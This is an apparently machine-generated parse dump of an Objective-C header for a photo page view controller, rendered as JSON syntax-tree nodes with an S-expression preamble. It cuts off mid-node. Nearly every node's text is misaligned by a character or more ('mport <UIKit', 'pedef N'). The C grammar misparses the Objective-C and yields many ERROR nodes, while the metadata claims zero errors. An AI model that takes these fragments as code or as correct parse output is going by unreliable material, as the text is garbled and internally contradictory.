(ERROR) "(" (^) "(" ()) "B" (parameter_list) "OOL finished))c" (() "O" (parameter_declaration) "OL finished))" (type_identifier) "OL f" (identifier) "nished))" ()) "c" ()) "o" (identifier) "mpletion;\n" (;) "\n" (expression_statement) "(RMPhotoViewController *)photoViewControllerWithIndex:(NSUInteger)index;\n\n" (unary_expression) "(RMPhotoViewController *)photoViewControllerWithIndex:(" (-) "(" (cast_expression) "MPhotoViewController *)photoViewControllerWithIndex:(" (() "M" (type_descriptor) "PhotoViewController *)p" (type_identifier) "PhotoViewController *" (abstract_pointer_declarator) "p" (*) "p" ()) "h" (identifier) "otoViewControllerWithIndex:(" (ERROR) "NSUInteger)index;\n" (:) "N" (() "S" (identifier) "UInteger)i" ()) "n" (identifier) "dex;\n" (;) "\n" (ERROR) "n" (ERROR) "n" (identifier) "d\n"
407
40
{"language": "c", "success": true, "metadata": {"lines": 45, "avg_line_length": 44.42, "nodes": 258, "errors": 0, "source_hash": "8401560f3f9208f944799bf86b769d633389ec8dbe628f79cf62e2895a90c958", "categorized_nodes": 159}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "mport <UIKit/UIKit.h>\n\n#", "parent": null, "children": [1, 2], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "mport <", "parent": 0, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "IKit/UIKit.h>\n\n", "parent": 0, "children": [], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 23}}, {"id": 3, "type": "preproc_call", "text": "mport \"LYPhotoViewController.h\"\n\nt", "parent": null, "children": [4, 5], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 11, "column": 0}}, {"id": 4, "type": "preproc_directive", "text": "mport \"", "parent": 3, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 7}}, {"id": 5, "type": "preproc_arg", "text": "YPhotoViewController.h\"\n\n", "parent": 3, "children": [], "start_point": {"row": 10, "column": 8}, "end_point": {"row": 10, "column": 33}}, {"id": 6, "type": "ERROR", "text": "pedef NS_ENUM(NSUInteger, EPhotoPageScrollAnimationDirection) {\n EPhotoPageScrollAnimationDirectionNone = 0,\n EPhotoPageScrollAnimationDirectionBefore = 1,\n EPhotoPageScrollAnimationDirectionAfter = 2,\n EPhotoPageScrollAnimationDirectionAutomic = 3,\n};\n\n@class LYPhotoPageViewController;\n\n@protocol RMPhotoPageViewControllerDelegate <NSObject>\n\n@optional\n\n- (void)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n willScorllToIndex:(NSUInteger)index;\n- (void)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n didScorllToIndex:(NSUInteger)index;\n@end\n\n@protocol RMPhotoPageViewControllerDataSource <NSObject>\n\n@required\n- (NSUInteger)numberOfIndexInPhotoPageViewController:(LYPhotoPageViewController *)photoPageViewController;\n- (RMPhotoViewController *)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n atIndex:(NSUInteger)index;\n@end\n\n\n@interface LYPhotoPageViewController : UIViewController\n\n@property (nonatomic, assign) NSUInteger currentIndex;\n\n@property (nonatomic, weak) id<RMPhotoPageViewControllerDelegate> delegate;\n@property (nonatomic, weak) id<RMPhotoPageViewControllerDataSource> dataSource;\n\n+ (instancetype)viewController;\n\n- (void)reloadData;\n\n- (NSUInteger)numberOfIndex;\n\n- (void)setCurrentIndex:(NSUInteger)currentIndex\n scrollAnimation:(EPhotoPageScrollAnimationDirection)animation\n completion:(void (^)(BOOL finished))completion;\n\n- (void)deletePhotoViewControllerAtIndex:(NSUInteger)index\n scrollAnimation:(EPhotoPageScrollAnimationDirection)animation\n completion:(void (^)(BOOL finished))completion;\n\n- (RMPhotoViewController *)photoViewControllerWithIndex:(NSUInteger)index;\n\n@end\n", "parent": null, "children": [7, 8, 39, 58, 75, 81, 83, 121, 127, 129, 163, 193, 200, 206, 219, 226, 232, 255, 257], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 63, "column": 4}}, {"id": 7, "type": "typedef", "text": "pedef N", "parent": 6, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 7}}, {"id": 8, "type": "macro_type_specifier", "text": "_ENUM(NSUInteger, EPhotoPageScrollAnimationDirection) {", "parent": 6, "children": [9, 10, 13], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 63}}, {"id": 9, "type": "identifier", "text": "_ENUM(N", "parent": 8, "children": [], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 15}}, {"id": 10, "type": "ERROR", "text": "UInteger, E", "parent": 8, "children": [11], "start_point": {"row": 12, "column": 16}, "end_point": {"row": 12, "column": 27}}, {"id": 11, "type": "type_descriptor", "text": "UInteger, ", "parent": 10, "children": [12], "start_point": {"row": 12, "column": 16}, "end_point": {"row": 12, "column": 26}}, {"id": 12, "type": "type_identifier", "text": "UInteger, ", "parent": 11, "children": [], "start_point": {"row": 12, "column": 16}, "end_point": {"row": 12, "column": 26}}, {"id": 13, "type": "type_descriptor", "text": "hotoPageScrollAnimationDirection) ", "parent": 8, "children": [14], "start_point": {"row": 12, "column": 28}, "end_point": {"row": 12, "column": 62}}, {"id": 14, "type": "type_identifier", "text": "hotoPageScrollAnimationDirection) ", "parent": 13, "children": [], "start_point": {"row": 12, "column": 28}, "end_point": {"row": 12, "column": 62}}, {"id": 15, "type": "comma_expression", "text": "hotoPageScrollAnimationDirectionNone = 0,\n EPhotoPageScrollAnimationDirectionBefore = 1,\n EPhotoPageScrollAnimationDirectionAfter = 2,\n EPhotoPageScrollAnimationDirectionAutomic = 3,\n};\n\n@class LYPhotoPageViewController;\n", "parent": 6, "children": [16, 20], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 19, "column": 32}}, {"id": 16, "type": "assignment_expression", "text": "hotoPageScrollAnimationDirectionNone = 0,\n", "parent": 15, "children": [17, 18, 19], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 13, "column": 46}}, {"id": 17, "type": "identifier", "text": "hotoPageScrollAnimationDirectionNone =", "parent": 16, "children": [], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 13, "column": 42}}, {"id": 18, "type": "=", "text": "0", "parent": 16, "children": [], "start_point": {"row": 13, "column": 43}, "end_point": {"row": 13, "column": 44}}, {"id": 19, "type": "number_literal", "text": "\n", "parent": 16, "children": [], "start_point": {"row": 13, "column": 45}, "end_point": {"row": 13, "column": 46}}, {"id": 20, "type": "comma_expression", "text": "hotoPageScrollAnimationDirectionBefore = 1,\n EPhotoPageScrollAnimationDirectionAfter = 2,\n EPhotoPageScrollAnimationDirectionAutomic = 3,\n};\n\n@class LYPhotoPageViewController;\n", "parent": 15, "children": [21, 25], "start_point": {"row": 14, "column": 4}, "end_point": {"row": 19, "column": 32}}, {"id": 21, "type": "assignment_expression", "text": "hotoPageScrollAnimationDirectionBefore = 1,\n", "parent": 20, "children": [22, 23, 24], "start_point": {"row": 14, "column": 4}, "end_point": {"row": 14, "column": 48}}, {"id": 22, "type": "identifier", "text": "hotoPageScrollAnimationDirectionBefore =", "parent": 21, "children": [], "start_point": {"row": 14, "column": 4}, "end_point": {"row": 14, "column": 44}}, {"id": 23, "type": "=", "text": "1", "parent": 21, "children": [], "start_point": {"row": 14, "column": 45}, "end_point": {"row": 14, "column": 46}}, {"id": 24, "type": "number_literal", "text": "\n", "parent": 21, "children": [], "start_point": {"row": 14, "column": 47}, "end_point": {"row": 14, "column": 48}}, {"id": 25, "type": "comma_expression", "text": "hotoPageScrollAnimationDirectionAfter = 2,\n EPhotoPageScrollAnimationDirectionAutomic = 3,\n};\n\n@class LYPhotoPageViewController;\n", "parent": 20, "children": [26, 30], "start_point": {"row": 15, "column": 4}, "end_point": {"row": 19, "column": 32}}, {"id": 26, "type": "assignment_expression", "text": "hotoPageScrollAnimationDirectionAfter = 2,\n", "parent": 25, "children": [27, 28, 29], "start_point": {"row": 15, "column": 4}, "end_point": {"row": 15, "column": 47}}, {"id": 27, "type": "identifier", "text": "hotoPageScrollAnimationDirectionAfter =", "parent": 26, "children": [], "start_point": {"row": 15, "column": 4}, "end_point": {"row": 15, "column": 43}}, {"id": 28, "type": "=", "text": "2", "parent": 26, "children": [], "start_point": {"row": 15, "column": 44}, "end_point": {"row": 15, "column": 45}}, {"id": 29, "type": "number_literal", "text": "\n", "parent": 26, "children": [], "start_point": {"row": 15, "column": 46}, "end_point": {"row": 15, "column": 47}}, {"id": 30, "type": "comma_expression", "text": "hotoPageScrollAnimationDirectionAutomic = 3,\n};\n\n@class LYPhotoPageViewController;\n", "parent": 25, "children": [31, 35, 38], "start_point": {"row": 16, "column": 4}, "end_point": {"row": 19, "column": 32}}, {"id": 31, "type": "assignment_expression", "text": "hotoPageScrollAnimationDirectionAutomic = 3,\n", "parent": 30, "children": [32, 33, 34], "start_point": {"row": 16, "column": 4}, "end_point": {"row": 16, "column": 49}}, {"id": 32, "type": "identifier", "text": "hotoPageScrollAnimationDirectionAutomic =", "parent": 31, "children": [], "start_point": {"row": 16, "column": 4}, "end_point": {"row": 16, "column": 45}}, {"id": 33, "type": "=", "text": "3", "parent": 31, "children": [], "start_point": {"row": 16, "column": 46}, "end_point": {"row": 16, "column": 47}}, {"id": 34, "type": "number_literal", "text": "\n", "parent": 31, "children": [], "start_point": {"row": 16, "column": 48}, "end_point": {"row": 16, "column": 49}}, {"id": 35, "type": "ERROR", "text": "\n\n@class L", "parent": 30, "children": [36, 37], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 19, "column": 6}}, {"id": 36, "type": "ERROR", "text": "l", "parent": 35, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 1}}, {"id": 37, "type": "identifier", "text": "ass L", "parent": 35, "children": [], "start_point": {"row": 19, "column": 1}, "end_point": {"row": 19, "column": 6}}, {"id": 38, "type": "identifier", "text": "PhotoPageViewController;\n", "parent": 30, "children": [], "start_point": {"row": 19, "column": 7}, "end_point": {"row": 19, "column": 32}}, {"id": 39, "type": "ERROR", "text": "rotocol RMPhotoPageViewControllerDelegate <NSObject>\n\n@optional\n\n- (void)photoPageViewController:(LY", "parent": 6, "children": [40, 41, 42, 43, 44, 45, 46, 47, 48], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 25, "column": 33}}, {"id": 40, "type": "ERROR", "text": "r", "parent": 39, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 1}}, {"id": 41, "type": "type_identifier", "text": "otocol R", "parent": 39, "children": [], "start_point": {"row": 21, "column": 1}, "end_point": {"row": 21, "column": 9}}, {"id": 42, "type": "identifier", "text": "PhotoPageViewControllerDelegate <", "parent": 39, "children": [], "start_point": {"row": 21, "column": 10}, "end_point": {"row": 21, "column": 43}}, {"id": 43, "type": "<", "text": "S", "parent": 39, "children": [], "start_point": {"row": 21, "column": 44}, "end_point": {"row": 21, "column": 45}}, {"id": 44, "type": "identifier", "text": "Object>\n", "parent": 39, "children": [], "start_point": {"row": 21, "column": 45}, "end_point": {"row": 21, "column": 53}}, {"id": 45, "type": ">", "text": "\n", "parent": 39, "children": [], "start_point": {"row": 21, "column": 53}, "end_point": {"row": 21, "column": 54}}, {"id": 46, "type": "ERROR", "text": "p", "parent": 39, "children": [], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 23, "column": 1}}, {"id": 47, "type": "identifier", "text": "tional\n\n", "parent": 39, "children": [], "start_point": {"row": 23, "column": 1}, "end_point": {"row": 23, "column": 9}}, {"id": 48, "type": "unary_expression", "text": "(void)photoPageViewController:(", "parent": 39, "children": [49], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 31}}, {"id": 49, "type": "cast_expression", "text": "oid)photoPageViewController:(", "parent": 48, "children": [50, 52], "start_point": {"row": 25, "column": 2}, "end_point": {"row": 25, "column": 31}}, {"id": 50, "type": "type_descriptor", "text": "id)p", "parent": 49, "children": [51], "start_point": {"row": 25, "column": 3}, "end_point": {"row": 25, "column": 7}}, {"id": 51, "type": "primitive_type", "text": "id)p", "parent": 50, "children": [], "start_point": {"row": 25, "column": 3}, "end_point": {"row": 25, "column": 7}}, {"id": 52, "type": "identifier", "text": "otoPageViewController:(", "parent": 49, "children": [], "start_point": {"row": 25, "column": 8}, "end_point": {"row": 25, "column": 31}}, {"id": 53, "type": "binary_expression", "text": "PhotoPageViewController *)photoPageViewController\n ", "parent": 6, "children": [54, 55, 56, 57], "start_point": {"row": 25, "column": 33}, "end_point": {"row": 25, "column": 84}}, {"id": 54, "type": "identifier", "text": "PhotoPageViewController *", "parent": 53, "children": [], "start_point": {"row": 25, "column": 33}, "end_point": {"row": 25, "column": 58}}, {"id": 55, "type": "*", "text": "p", "parent": 53, "children": [], "start_point": {"row": 25, "column": 59}, "end_point": {"row": 25, "column": 60}}, {"id": 56, "type": "ERROR", "text": "h", "parent": 53, "children": [], "start_point": {"row": 25, "column": 60}, "end_point": {"row": 25, "column": 61}}, {"id": 57, "type": "identifier", "text": "otoPageViewController\n ", "parent": 53, "children": [], "start_point": {"row": 25, "column": 61}, "end_point": {"row": 25, "column": 84}}, {"id": 58, "type": "labeled_statement", "text": "llScorllToIndex:(NSUInteger)index;\n-", "parent": 6, "children": [59], "start_point": {"row": 26, "column": 14}, "end_point": {"row": 26, "column": 50}}, {"id": 59, "type": "statement_identifier", "text": "llScorllToIndex:(", "parent": 58, "children": [], "start_point": {"row": 26, "column": 14}, "end_point": {"row": 26, "column": 31}}, {"id": 60, "type": "cast_expression", "text": "SUInteger)index;\n", "parent": 58, "children": [61, 63], "start_point": {"row": 26, "column": 32}, "end_point": {"row": 26, "column": 49}}, {"id": 61, "type": "type_descriptor", "text": "UInteger)i", "parent": 60, "children": [62], "start_point": {"row": 26, "column": 33}, "end_point": {"row": 26, "column": 43}}, {"id": 62, "type": "type_identifier", "text": "UInteger)i", "parent": 61, "children": [], "start_point": {"row": 26, "column": 33}, "end_point": {"row": 26, "column": 43}}, {"id": 63, "type": "identifier", "text": "dex;\n", "parent": 60, "children": [], "start_point": {"row": 26, "column": 44}, "end_point": {"row": 26, "column": 49}}, {"id": 64, "type": "binary_expression", "text": "(void)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n ", "parent": 6, "children": [65, 70, 72, 73, 74], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 27, "column": 84}}, {"id": 65, "type": "unary_expression", "text": "(void)photoPageViewController:(", "parent": 64, "children": [66], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 27, "column": 31}}, {"id": 66, "type": "cast_expression", "text": "oid)photoPageViewController:(", "parent": 65, "children": [67, 69], "start_point": {"row": 27, "column": 2}, "end_point": {"row": 27, "column": 31}}, {"id": 67, "type": "type_descriptor", "text": "id)p", "parent": 66, "children": [68], "start_point": {"row": 27, "column": 3}, "end_point": {"row": 27, "column": 7}}, {"id": 68, "type": "primitive_type", "text": "id)p", "parent": 67, "children": [], "start_point": {"row": 27, "column": 3}, "end_point": {"row": 27, "column": 7}}, {"id": 69, "type": "identifier", "text": "otoPageViewController:(", "parent": 66, "children": [], "start_point": {"row": 27, "column": 8}, "end_point": {"row": 27, "column": 31}}, {"id": 70, "type": "ERROR", "text": "LYPhotoPageViewController *", "parent": 64, "children": [71], "start_point": {"row": 27, "column": 31}, "end_point": {"row": 27, "column": 58}}, {"id": 71, "type": "identifier", "text": "PhotoPageViewController *", "parent": 70, "children": [], "start_point": {"row": 27, "column": 33}, "end_point": {"row": 27, "column": 58}}, {"id": 72, "type": "*", "text": "p", "parent": 64, "children": [], "start_point": {"row": 27, "column": 59}, "end_point": {"row": 27, "column": 60}}, {"id": 73, "type": "ERROR", "text": "h", "parent": 64, "children": [], "start_point": {"row": 27, "column": 60}, "end_point": {"row": 27, "column": 61}}, {"id": 74, "type": "identifier", "text": "otoPageViewController\n ", "parent": 64, "children": [], "start_point": {"row": 27, "column": 61}, "end_point": {"row": 27, "column": 84}}, {"id": 75, "type": "labeled_statement", "text": "dScorllToIndex:(NSUInteger)index;\n@", "parent": 6, "children": [76], "start_point": {"row": 28, "column": 15}, "end_point": {"row": 28, "column": 50}}, {"id": 76, "type": "statement_identifier", "text": "dScorllToIndex:(", "parent": 75, "children": [], "start_point": {"row": 28, "column": 15}, "end_point": {"row": 28, "column": 31}}, {"id": 77, "type": "cast_expression", "text": "SUInteger)index;\n", "parent": 75, "children": [78, 80], "start_point": {"row": 28, "column": 32}, "end_point": {"row": 28, "column": 49}}, {"id": 78, "type": "type_descriptor", "text": "UInteger)i", "parent": 77, "children": [79], "start_point": {"row": 28, "column": 33}, "end_point": {"row": 28, "column": 43}}, {"id": 79, "type": "type_identifier", "text": "UInteger)i", "parent": 78, "children": [], "start_point": {"row": 28, "column": 33}, "end_point": {"row": 28, "column": 43}}, {"id": 80, "type": "identifier", "text": "dex;\n", "parent": 77, "children": [], "start_point": {"row": 28, "column": 44}, "end_point": {"row": 28, "column": 49}}, {"id": 81, "type": "ERROR", "text": "n", "parent": 6, "children": [82], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 29, "column": 1}}, {"id": 82, "type": "ERROR", "text": "n", "parent": 81, "children": [], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 29, "column": 1}}, {"id": 83, "type": "declaration", "text": "d\n\n@protocol R", "parent": 6, "children": [84, 85, 87], "start_point": {"row": 29, "column": 1}, "end_point": {"row": 31, "column": 9}}, {"id": 84, "type": "type_identifier", "text": "d\n\n", "parent": 83, "children": [], "start_point": {"row": 29, "column": 1}, "end_point": {"row": 29, "column": 4}}, {"id": 85, "type": "ERROR", "text": "r", "parent": 83, "children": [86], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 1}}, {"id": 86, "type": "ERROR", "text": "r", "parent": 85, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 1}}, {"id": 87, "type": "identifier", "text": "otocol R", "parent": 83, "children": [], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 31, "column": 9}}, {"id": 88, "type": "binary_expression", "text": "PhotoPageViewControllerDataSource <NSObject>\n\n@required\n- (NSUInteger)numberOfIndexInPhotoPageViewController:(LYPhotoPageViewController *)photoPageViewController;\n", "parent": 6, "children": [89, 103, 105, 106, 107], "start_point": {"row": 31, "column": 10}, "end_point": {"row": 34, "column": 105}}, {"id": 89, "type": "binary_expression", "text": "PhotoPageViewControllerDataSource <NSObject>\n\n@required\n- (NSUInteger)numberOfIndexInPhotoPageViewController:(", "parent": 88, "children": [90, 94, 95, 97], "start_point": {"row": 31, "column": 10}, "end_point": {"row": 34, "column": 52}}, {"id": 90, "type": "binary_expression", "text": "PhotoPageViewControllerDataSource <NSObject>\n", "parent": 89, "children": [91, 92, 93], "start_point": {"row": 31, "column": 10}, "end_point": {"row": 31, "column": 55}}, {"id": 91, "type": "identifier", "text": "PhotoPageViewControllerDataSource <", "parent": 90, "children": [], "start_point": {"row": 31, "column": 10}, "end_point": {"row": 31, "column": 45}}, {"id": 92, "type": "<", "text": "S", "parent": 90, "children": [], "start_point": {"row": 31, "column": 46}, "end_point": {"row": 31, "column": 47}}, {"id": 93, "type": "identifier", "text": "Object>\n", "parent": 90, "children": [], "start_point": {"row": 31, "column": 47}, "end_point": {"row": 31, "column": 55}}, {"id": 94, "type": ">", "text": "\n", "parent": 89, "children": [], "start_point": {"row": 31, "column": 55}, "end_point": {"row": 31, "column": 56}}, {"id": 95, "type": "ERROR", "text": "e", "parent": 89, "children": [96], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 1}}, {"id": 96, "type": "ERROR", "text": "e", "parent": 95, "children": [], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 1}}, {"id": 97, "type": "binary_expression", "text": "quired\n- (NSUInteger)numberOfIndexInPhotoPageViewController:(", "parent": 89, "children": [98, 99], "start_point": {"row": 33, "column": 1}, "end_point": {"row": 34, "column": 52}}, {"id": 98, "type": "identifier", "text": "quired\n-", "parent": 97, "children": [], "start_point": {"row": 33, "column": 1}, "end_point": {"row": 33, "column": 9}}, {"id": 99, "type": "cast_expression", "text": "SUInteger)numberOfIndexInPhotoPageViewController:(", "parent": 97, "children": [100, 102], "start_point": {"row": 34, "column": 2}, "end_point": {"row": 34, "column": 52}}, {"id": 100, "type": "type_descriptor", "text": "UInteger)n", "parent": 99, "children": [101], "start_point": {"row": 34, "column": 3}, "end_point": {"row": 34, "column": 13}}, {"id": 101, "type": "type_identifier", "text": "UInteger)n", "parent": 100, "children": [], "start_point": {"row": 34, "column": 3}, "end_point": {"row": 34, "column": 13}}, {"id": 102, "type": "identifier", "text": "mberOfIndexInPhotoPageViewController:(", "parent": 99, "children": [], "start_point": {"row": 34, "column": 14}, "end_point": {"row": 34, "column": 52}}, {"id": 103, "type": "ERROR", "text": "LYPhotoPageViewController *", "parent": 88, "children": [104], "start_point": {"row": 34, "column": 52}, "end_point": {"row": 34, "column": 79}}, {"id": 104, "type": "identifier", "text": "PhotoPageViewController *", "parent": 103, "children": [], "start_point": {"row": 34, "column": 54}, "end_point": {"row": 34, "column": 79}}, {"id": 105, "type": "*", "text": "p", "parent": 88, "children": [], "start_point": {"row": 34, "column": 80}, "end_point": {"row": 34, "column": 81}}, {"id": 106, "type": "ERROR", "text": "h", "parent": 88, "children": [], "start_point": {"row": 34, "column": 81}, "end_point": {"row": 34, "column": 82}}, {"id": 107, "type": "identifier", "text": "otoPageViewController;\n", "parent": 88, "children": [], "start_point": {"row": 34, "column": 82}, "end_point": {"row": 34, "column": 105}}, {"id": 108, "type": "binary_expression", "text": "(RMPhotoViewController *)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n ", "parent": 6, "children": [109, 116, 118, 119, 120], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 103}}, {"id": 109, "type": "unary_expression", "text": "(RMPhotoViewController *)photoPageViewController:(", "parent": 108, "children": [110], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 50}}, {"id": 110, "type": "cast_expression", "text": "MPhotoViewController *)photoPageViewController:(", "parent": 109, "children": [111, 115], "start_point": {"row": 35, "column": 2}, "end_point": {"row": 35, "column": 50}}, {"id": 111, "type": "type_descriptor", "text": "PhotoViewController *)p", "parent": 110, "children": [112, 113], "start_point": {"row": 35, "column": 3}, "end_point": {"row": 35, "column": 26}}, {"id": 112, "type": "type_identifier", "text": "PhotoViewController *", "parent": 111, "children": [], "start_point": {"row": 35, "column": 3}, "end_point": {"row": 35, "column": 24}}, {"id": 113, "type": "abstract_pointer_declarator", "text": "p", "parent": 111, "children": [114], "start_point": {"row": 35, "column": 25}, "end_point": {"row": 35, "column": 26}}, {"id": 114, "type": "*", "text": "p", "parent": 113, "children": [], "start_point": {"row": 35, "column": 25}, "end_point": {"row": 35, "column": 26}}, {"id": 115, "type": "identifier", "text": "otoPageViewController:(", "parent": 110, "children": [], "start_point": {"row": 35, "column": 27}, "end_point": {"row": 35, "column": 50}}, {"id": 116, "type": "ERROR", "text": "LYPhotoPageViewController *", "parent": 108, "children": [117], "start_point": {"row": 35, "column": 50}, "end_point": {"row": 35, "column": 77}}, {"id": 117, "type": "identifier", "text": "PhotoPageViewController *", "parent": 116, "children": [], "start_point": {"row": 35, "column": 52}, "end_point": {"row": 35, "column": 77}}, {"id": 118, "type": "*", "text": "p", "parent": 108, "children": [], "start_point": {"row": 35, "column": 78}, "end_point": {"row": 35, "column": 79}}, {"id": 119, "type": "ERROR", "text": "h", "parent": 108, "children": [], "start_point": {"row": 35, "column": 79}, "end_point": {"row": 35, "column": 80}}, {"id": 120, "type": "identifier", "text": "otoPageViewController\n ", "parent": 108, "children": [], "start_point": {"row": 35, "column": 80}, "end_point": {"row": 35, "column": 103}}, {"id": 121, "type": "labeled_statement", "text": "Index:(NSUInteger)index;\n@", "parent": 6, "children": [122], "start_point": {"row": 36, "column": 43}, "end_point": {"row": 36, "column": 69}}, {"id": 122, "type": "statement_identifier", "text": "Index:(", "parent": 121, "children": [], "start_point": {"row": 36, "column": 43}, "end_point": {"row": 36, "column": 50}}, {"id": 123, "type": "cast_expression", "text": "SUInteger)index;\n", "parent": 121, "children": [124, 126], "start_point": {"row": 36, "column": 51}, "end_point": {"row": 36, "column": 68}}, {"id": 124, "type": "type_descriptor", "text": "UInteger)i", "parent": 123, "children": [125], "start_point": {"row": 36, "column": 52}, "end_point": {"row": 36, "column": 62}}, {"id": 125, "type": "type_identifier", "text": "UInteger)i", "parent": 124, "children": [], "start_point": {"row": 36, "column": 52}, "end_point": {"row": 36, "column": 62}}, {"id": 126, "type": "identifier", "text": "dex;\n", "parent": 123, "children": [], "start_point": {"row": 36, "column": 63}, "end_point": {"row": 36, "column": 68}}, {"id": 127, "type": "ERROR", "text": "n", "parent": 6, "children": [128], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 1}}, {"id": 128, "type": "ERROR", "text": "n", "parent": 127, "children": [], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 1}}, {"id": 129, "type": "declaration", "text": "d\n\n\n@interface L", "parent": 6, "children": [130, 131, 133], "start_point": {"row": 37, "column": 1}, "end_point": {"row": 40, "column": 10}}, {"id": 130, "type": "type_identifier", "text": "d\n\n", "parent": 129, "children": [], "start_point": {"row": 37, "column": 1}, "end_point": {"row": 37, "column": 4}}, {"id": 131, "type": "ERROR", "text": "n", "parent": 129, "children": [132], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 40, "column": 1}}, {"id": 132, "type": "ERROR", "text": "n", "parent": 131, "children": [], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 40, "column": 1}}, {"id": 133, "type": "identifier", "text": "terface L", "parent": 129, "children": [], "start_point": {"row": 40, "column": 1}, "end_point": {"row": 40, "column": 10}}, {"id": 134, "type": "binary_expression", "text": "PhotoPageViewController : UIViewController\n\n@property (nonatomic, assign) NSUInteger currentIndex;\n\n@property (nonatomic, weak) id<RMPhotoPageViewControllerDelegate> delegate;\n", "parent": 6, "children": [135, 161, 162], "start_point": {"row": 40, "column": 11}, "end_point": {"row": 44, "column": 74}}, {"id": 135, "type": "binary_expression", "text": "PhotoPageViewController : UIViewController\n\n@property (nonatomic, assign) NSUInteger currentIndex;\n\n@property (nonatomic, weak) id<RMPhotoPageViewControllerDelegate> ", "parent": 134, "children": [136, 137, 159, 160], "start_point": {"row": 40, "column": 11}, "end_point": {"row": 44, "column": 64}}, {"id": 136, "type": "identifier", "text": "PhotoPageViewController :", "parent": 135, "children": [], "start_point": {"row": 40, "column": 11}, "end_point": {"row": 40, "column": 36}}, {"id": 137, "type": "ERROR", "text": "UIViewController\n\n@property (nonatomic, assign) NSUInteger currentIndex;\n\n@property (nonatomic, weak) id<R", "parent": 135, "children": [138, 139, 151], "start_point": {"row": 40, "column": 37}, "end_point": {"row": 44, "column": 30}}, {"id": 138, "type": "type_identifier", "text": "ViewController\n\n", "parent": 137, "children": [], "start_point": {"row": 40, "column": 39}, "end_point": {"row": 40, "column": 55}}, {"id": 139, "type": "ERROR", "text": "roperty (nonatomic, assign) NSUInteger currentIndex;\n\n@pr", "parent": 137, "children": [140, 141, 150], "start_point": {"row": 42, "column": 0}, "end_point": {"row": 44, "column": 1}}, {"id": 140, "type": "ERROR", "text": "r", "parent": 139, "children": [], "start_point": {"row": 42, "column": 0}, "end_point": {"row": 42, "column": 1}}, {"id": 141, "type": "function_declarator", "text": "operty (nonatomic, assign) NSUInteger currentIndex;\n", "parent": 139, "children": [142, 143, 148, 149], "start_point": {"row": 42, "column": 1}, "end_point": {"row": 42, "column": 53}}, {"id": 142, "type": "identifier", "text": "operty (", "parent": 141, "children": [], "start_point": {"row": 42, "column": 1}, "end_point": {"row": 42, "column": 9}}, {"id": 143, "type": "parameter_list", "text": "onatomic, assign) N", "parent": 141, "children": [144, 146], "start_point": {"row": 42, "column": 10}, "end_point": {"row": 42, "column": 29}}, {"id": 144, "type": "parameter_declaration", "text": "natomic, ", "parent": 143, "children": [145], "start_point": {"row": 42, "column": 11}, "end_point": {"row": 42, "column": 20}}, {"id": 145, "type": "type_identifier", "text": "natomic, ", "parent": 144, "children": [], "start_point": {"row": 42, "column": 11}, "end_point": {"row": 42, "column": 20}}, {"id": 146, "type": "parameter_declaration", "text": "sign) ", "parent": 143, "children": [147], "start_point": {"row": 42, "column": 22}, "end_point": {"row": 42, "column": 28}}, {"id": 147, "type": "type_identifier", "text": "sign) ", "parent": 146, "children": [], "start_point": {"row": 42, "column": 22}, "end_point": {"row": 42, "column": 28}}, {"id": 148, "type": "identifier", "text": "UInteger c", "parent": 141, "children": [], "start_point": {"row": 42, "column": 30}, "end_point": {"row": 42, "column": 40}}, {"id": 149, "type": "identifier", "text": "rrentIndex;\n", "parent": 141, "children": [], "start_point": {"row": 42, "column": 41}, "end_point": {"row": 42, "column": 53}}, {"id": 150, "type": "ERROR", "text": "r", "parent": 139, "children": [], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 1}}, {"id": 151, "type": "function_declarator", "text": "operty (nonatomic, weak) id<R", "parent": 137, "children": [152, 153, 158], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 44, "column": 30}}, {"id": 152, "type": "identifier", "text": "operty (", "parent": 151, "children": [], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 44, "column": 9}}, {"id": 153, "type": "parameter_list", "text": "onatomic, weak) i", "parent": 151, "children": [154, 156], "start_point": {"row": 44, "column": 10}, "end_point": {"row": 44, "column": 27}}, {"id": 154, "type": "parameter_declaration", "text": "natomic, ", "parent": 153, "children": [155], "start_point": {"row": 